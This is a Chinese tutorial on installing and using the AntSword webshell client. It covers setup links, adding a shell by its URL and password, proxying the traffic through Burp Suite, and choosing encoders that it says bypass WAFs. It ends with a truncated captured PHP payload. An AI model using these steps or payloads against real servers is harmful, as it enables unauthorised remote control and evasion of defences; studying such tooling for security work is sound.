中国蚁剑(AntSword)安装、使用教程

项目地址

加载器：
https://github.com/AntSwordProject/AntSword-Loader

核心源码：
https://github.com/AntSwordProject/antSword

如果从github上下载很卡，可以去复制链接到githubd上下载
https://githubd.com

中国蚁剑使用说明书：
https://doc.u0u.us/zh-hans/

安装教程

将两个文件下载好后，解压。进入加载器目录（AntSword-Loader-v4.0.3-win32-x64），打开AntSword.exe。

加载器页面：

如果我们根据提示，选择一个空的目录去初始化，那么他会自动去下载源码。
不过源码已经不在了，会出现以下情况（404）。


将初始化选择源码包antSword目录（前面我们下载的核心源码），初始化后会自动重启，再次打开就可以使用了。

使用教程

右键页面空白处，添加数据。

输入木马地址及密码，添加保存。

抓取数据包分析

设置蚁剑代理：

Burp Suite：

设置编码方式

在添加shell和修改时都可以进行编码，修改编码相当于连接时修改了连接方式，这样就可以绕过WAF了。

根据上面的代理设置进行抓包，连接时拦截，可看见连接传输的内容（tiger为我的密码）。

default:

tiger=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return str_rot13($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "c8b5a";echo @asenc($output);echo "ad3f9";}ob_start();try{$D=dirnam